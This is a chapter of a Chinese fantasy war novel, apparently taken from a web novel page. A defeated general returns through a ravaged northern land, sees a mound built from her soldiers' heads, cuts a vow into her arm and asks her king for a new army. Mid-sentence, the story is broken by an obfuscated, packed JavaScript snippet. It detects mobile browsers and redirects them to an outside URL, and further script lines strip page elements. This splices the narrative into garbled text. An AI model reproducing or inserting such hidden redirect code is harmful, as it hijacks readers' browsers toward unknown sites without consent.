图兰平原的雪,下了整整两天。
厚重的积雪掩盖了尸体,也掩盖了血腥。只有偶尔从雪堆下伸出的、早已僵硬的手臂,或是一截被战斧劈断的旗杆,还在无声地诉说着不久前那场血肉磨坊的惨烈。
乌鸦是这片白色坟场唯一的活物。
它们成群结队地落下,用喙啄开积雪,贪婪地享受着这场突如其来的盛宴。
在这样一片死寂之中,几个几乎与雪地融为一体的白色身影,正在艰难地跋涉。他们是青钰雯大将军麾下、亲卫队“冰川之盾”最后的幸存者。他们的盔甲早已残破不堪,每个人身上都带着深浅不一的伤口,但他们的眼睛,却如同饥饿的野狼,在没过膝盖的积雪和尸骸中,疯狂地搜寻着什么。
他们在找他们的将军。
两天了。
他们以经两天没有合眼,没有进食。支撑他们没有倒下的,只有一个信念——找到大将军,活要见人,死要见尸。
“头儿,那边!”
一个年轻的亲卫指向不远处一个巨大的、如同小山般的阴影。那是一头在攻城战中被斩杀的巨魔的尸体。
几人立刻冲了过去。
他们用已经冻得发麻的手,合力推开那具散发着恶臭的、冰冷的巨魔尸体。
在尸体之下,他们看到了那个他们愿意为之付出一切的身影。
大将军青钰雯,正静静地躺在那里。她的腹部被一柄那不勒斯特有的、带着倒钩的短剑贯穿,鲜血将她身下的雪地染成了一片触目惊心的暗红色。她的脸色惨白如纸,嘴唇因失血而干裂,若不是胸口还有着极其微弱的起伏,她看起来与这满地的尸骸毫无区别。
“还活着!将军还活着!”
为首的老兵,一个脸上带着三道狰狞疤痕的男人,声音因为激动而颤抖。
他们不敢耽搁,立刻解下自己还算完整的披风,又从一具战友的尸体上拆下一面鸢盾,制作了一副最简易的担架。他们小心翼翼地将青钰雯抬了上去,甚至不敢去拔那柄还插在她腹部的短剑,生怕会加速她生命的流逝。
“不能走大路。”老兵看着远处那不勒斯军营的方向,沉声说,“南方的‘狮鹫’还没走远,他们的斥候像苍蝇一样烦人。我们走西边的冰封森林,从那里绕回冬握城。”
那是一条更艰难、也更危险的路。但在场的每一个人,都没有丝毫犹豫。
他们抬起担架,深一脚浅一脚地,走入了那片如同白色鬼域般的森林。
青钰雯陷入了无尽的梦魇。
她的意识仿佛被割裂成无数碎片,漂浮在冰冷的、黑暗的混沌之中。
一会儿,她回到了图兰平原的战场。她看到自己的重装步兵方阵,那支她引以为傲的、战无不胜的钢铁军团,在一种从未见过的、散发着恶臭的“污秽弹”攻击下,阵型溃散,士兵们跪在地上呕吐,哭喊。
她看到了柏欣妤的旗帜,从自己军阵的侧翼,如同一把淬毒的匕首,狠狠地捅了进来。
她看到袁一琦。
那个被她鄙夷了一生的“疯子”,正站在高高的山丘上,用一种看小丑般的、怜悯的眼神看着她。
“你的‘荣耀’,杀死了你的军队。”
袁一琦的声音,如同魔咒,在她的脑海里反复回响。
画面一转,她又回到了自己与袁一琦最后的决斗。她势大力沉的战斧,每一次都与对方的短剑擦肩而过。对方的步伐轻盈得不像一个战士,更像一个在刀尖上跳舞的魔鬼。
最后,那柄带着诡异弧度的短剑,刺入了她的身体。
深入骨髓的剧痛传来。
“啊——!”
一声愤怒而不甘的嘶吼,从青钰雯的喉咙深处爆发出来。她猛地睁开双眼,从担架上坐起,剧烈的动作牵动了腹部的伤口,让她瞬间冷汗直流。
“将军,您醒了!”
- 抬着担架的亲卫们又惊又喜。
青钰雯环顾四周,看到的是一片陌生的、被冰雪覆盖的森林,和几张写满了疲惫与忠诚的脸。
她没有问这是哪里,也没有问战况如何。她只是低头,看着自己腹部那柄狰狞的短剑,然后用一种沙哑到几乎听不清的声音,问出了她醒来后的第一句话。
“我……输了?”
没有人回答。
但那几名亲卫瞬间通红的眼眶,和他们脸上那无法掩饰的、混杂着悲伤与羞耻的表情,已经给了她最残忍的答案。
青钰雯的身体剧烈地颤抖起来。
她,青钰雯,北方最古老的战士家族的后裔,国王最信任的大将军,从未败过的“冰川之盾”,竟然……输了。
输得如此彻底。
输得如此耻辱。
一口鲜血,从她的口中喷涌而出,染红了身前洁白的雪地。她的意识,再次坠入无尽的黑暗。
归途,是名副其实的地狱。
他们不敢生火,不敢走大路,只能在冰封森林里,靠着啃食树皮和雪团充饥。青钰雯的伤势在不断恶化,高烧让她整日都处于昏迷与呓语之中。亲卫们轮流将自己的体温传递给她,用最后的力气,维持着她那一点微弱的生命之火。
七天后,他们终于走出了那片该死的森林,踏上了北方的土地。
然而,迎接他们的,不是熟悉的家园,而是一片被战火焚烧过的、满目疮痍的焦土。
他们经过的第一个村庄,以经变成了一片废墟。房屋被烧成了黑色的焦炭,田地里空无一物,偶尔能看到的,是几具早已冻僵的、瘦骨嶙峋的村民尸体。
一名幸存的老妇人,蜷缩在被烧毁的神庙角落里,看到他们身上的北方军服,没有求助,反而用一种充满怨毒的眼神看着他们,一边哭一边咒骂:“你们这群没用的东西!国王的军队!你们打不赢南方的魔鬼,就任由他们抢走我们的粮食,烧掉我们的房子!荣耀?荣耀能当饭吃吗?!”
亲卫们默默地低下头,无言以对。
青钰雯躺在担架上,将这一切都听在耳中。她想要辩解,想要告诉那个老妇人,真正的战争不应是这样。但她发不出任何声音。
这是她第一次直面这种针对平民的、毫无荣誉可言的“焦土战术”。
这种战术,肮脏,卑劣,却又有效得可怕。
继续向北,他们看到了一支逃难的队伍。那是从另一个被【狮鹫军团】“追猎者”部队洗劫的镇子上逃出来的平民。他们衣衫褴褛,面黄肌瘦,眼中充满了对未来的恐惧与绝望。
一名年轻的母亲,怀里抱着一个早已没有呼吸的婴儿,麻木地走在队伍的最后。
“他们抢走了所有的食物,所有的……我的孩子,他只是……饿死的……”
年轻母亲的话,如同一根根钢针,刺入青钰雯的心脏。
她的脑海里,再次回响起袁一琦那句话。
“你的‘荣耀’,杀死了你的军队。”
不。
不只是杀死了我的军队。
它还杀死了我的人民。
一种前所未有的、混杂着愧疚、自责与愤怒的情绪,如同岩浆般,在她的胸中翻滚。她开始剧烈地咳嗽,每一声,都带着血丝。
就在他们准备绕过前方的主干道时,老兵突然停下了脚步,脸色变得惨白。
他指着远处地平线上一个奇怪的、黑色的凸起,声音颤抖:“那……那是什么?”
所有人都顺着他手指的方向望去。
- 在广阔的、一望无际的雪原之上,一座巨大而恐怖的、由无数人类头颅筑成的“京观”,如同一个来自地狱的黑色纪念碑,沉默地耸立在天地之间。
那数千颗头颅,都面向着北方,他们的脸上,还凝固着临死前那极度的惊恐与痛苦。
“是……是我们的人。”一个年轻的亲卫双腿一软,跪倒在雪地里,失声痛哭,“是第三军团的兄弟!他们的徽记……我还认得!”
青钰雯挣扎着,从担架上坐了起来。
当她的目光,触及那座用她袍泽的头颅堆砌而成的、充满了极致羞辱与恶意的“战利品”时,她的大脑,轰的一声,炸开了。
她感觉不到腹部的剧痛,感觉不到刺骨的寒冷。
她所有的感官,都被一种前所未有的、如同火山爆发般的滔天怒火所吞噬。
这不再是战争。
这是屠杀。
是羞辱。
是那不勒斯那个“女王”,对北方千年荣耀的、最恶毒的践踏!
她一直坚信,战争是战士之间,用刀剑和勇气进行的、神圣的对决。胜者赢得荣耀,败者献出生命。
但眼前这一幕,彻底击碎了她所有的认知。
原来,在那个南方女王的眼中,她们这些所谓的“战士”,不过是她用来堆砌胜利纪念碑的、毫无价值的砖石。
“扶我起来。”
青钰雯的声音,沙哑,却带着一种令人不寒而栗的平静。
两名亲卫连忙上前,将她搀扶起来。
青钰雯站在雪地里
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17424095|200850||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,遥遥地,死死地盯着那座巨大的京观。她的身体,因为极度的愤怒而剧烈地颤抖着,苍白的脸上,泛起一种病态的潮红。
她终于明白了。
她不是输给了更强的对手,而是输给了更无耻、更卑劣、更不择手段的恶魔。
她内心中那仅存的一丝、对战败的自责与愧疚,在这一刻,被这滔天的仇恨与怒火,燃烧得一干二净。
她不再思考自己的战术是否有误。
她不再纠结于侧翼为何会被背叛。
她的脑海里,只剩下了一个念头。
复仇。
用一场真正的、堂堂正正的胜利,用一场最纯粹、最荣耀的正面碾压,将眼前这份耻辱,百倍、千倍地,还给那个端坐在王座之上的、恶毒的女王!
“匕首。”她伸出手。
老兵愣了一下,随即从腰间解下一把匕首,递给了她。
青钰雯接过匕首,没有丝毫犹豫,猛地划开自己的左臂。鲜血,瞬间染红了她残破的军服。
她用那把沾着自己鲜血的匕首,在手臂的伤口上,一笔一划地,刻下了一座京观的简易图案。
剧烈的疼痛让她浑身颤抖,但她的眼神,却亮得可怕。
“我,青钰雯,在此立誓。”
她的声音,在空旷的雪原上回荡。
“终有一日,我要用鞠婧祎的头颅,来做这座京观的塔顶!”
说完,她眼前一黑,再次昏死过去。
历经半个多月的艰难跋涉,这支衣衫褴褛、如同鬼魂般的队伍,终于抵达了北方王都“冬握城”的城门外。
当守城的士兵看到那个躺在担架上、不省人事的女人,以及她身上那件虽已残破、却依旧能辨认出的大将军铠甲时,所有人都震惊了。
大将军青钰雯还活着!
这个消息,如同一道惊雷,迅速传遍了整座因战败而惶恐不安的城市。
当青钰雯再次醒来时,她已经躺在了王宫的病床上。国王的御医正在为她处理腹部的伤口。
她没有理会御医的劝阻,挣扎着从床上坐起,嘶哑地问:“陛下呢?”
“陛下……她……”侍从欲言又止。
青钰雯知道,那场耻辱性的惨败,对国王的打击,远比对自己更大。
她掀开被子,不顾腹部传来的剧痛,固执地穿上了那件早已为她准备好的、干净的将军制服。
面对前来迎接的官员们准备好的担架和搀扶,她全部拒绝了。
她拄着自己的战斧,如同拄着自己的脊梁。
她一步一步地,走出了寝宫,走在王宫那长长的、冰冷的走廊上。
- 她的脸色惨白如纸,身形因重伤而显得消瘦,脚步虚浮。但她的腰杆,却挺得笔直。她的那双眼睛里,燃烧着比以往任何时候都更加炽烈的、近乎疯狂的火焰。
所有看到她的官员和侍卫,都自动地向两旁退开,用一种混杂着敬畏、同情与质疑的复杂目光看着她。
她的归来,本身就像一剂强心针,暂时稳住了这座城市里,那些主战派贵族们摇摇欲坠的军心。
她没有去疗伤,也没有回自己的府邸。
她径直走向了王庭大殿。
大殿之内,气氛压抑得令人窒息。国王孙芮,正失魂落魄地坐在她那巨大的、由兽骨制成的王座上。曾经那双如同烈日般灼人的眼眸,此刻只剩下一片死寂的灰烬。
看到青钰雯的出现,孙芮那空洞的眼神,才终于有了一丝波动。
青钰雯走到大殿中央,拄着战斧,想要跪下,却因伤势过重,一个踉跄,最终单膝跪倒在地。
她没有为自己的战败辩解一个字。
也没有提及任何关于背叛与阴谋的猜测。
她只是抬起头,用一种沙哑、却无比坚定的声音,一字一顿地说道:
“陛下,臣,罪该万死。”
“但北方的荣耀,不能就此蒙尘!”
她抬起那只刻着京观图案的、血肉模糊的手臂,高高举起。
“请再给我一支军队!”
“我将为您献上图兰堡,以及那不勒斯女王的头颅,来洗刷我们共同的耻辱!”
她的声音,在空旷的大殿中回荡。
王座之上,国王孙芮看着自己最忠诚、也是最强大的将军,看着她那双重新燃烧起复仇火焰的眼睛。
在她那颗早已被失败与绝望填满的心中,一簇名为“希望”的、更加疯狂的火苗,被重新点燃了。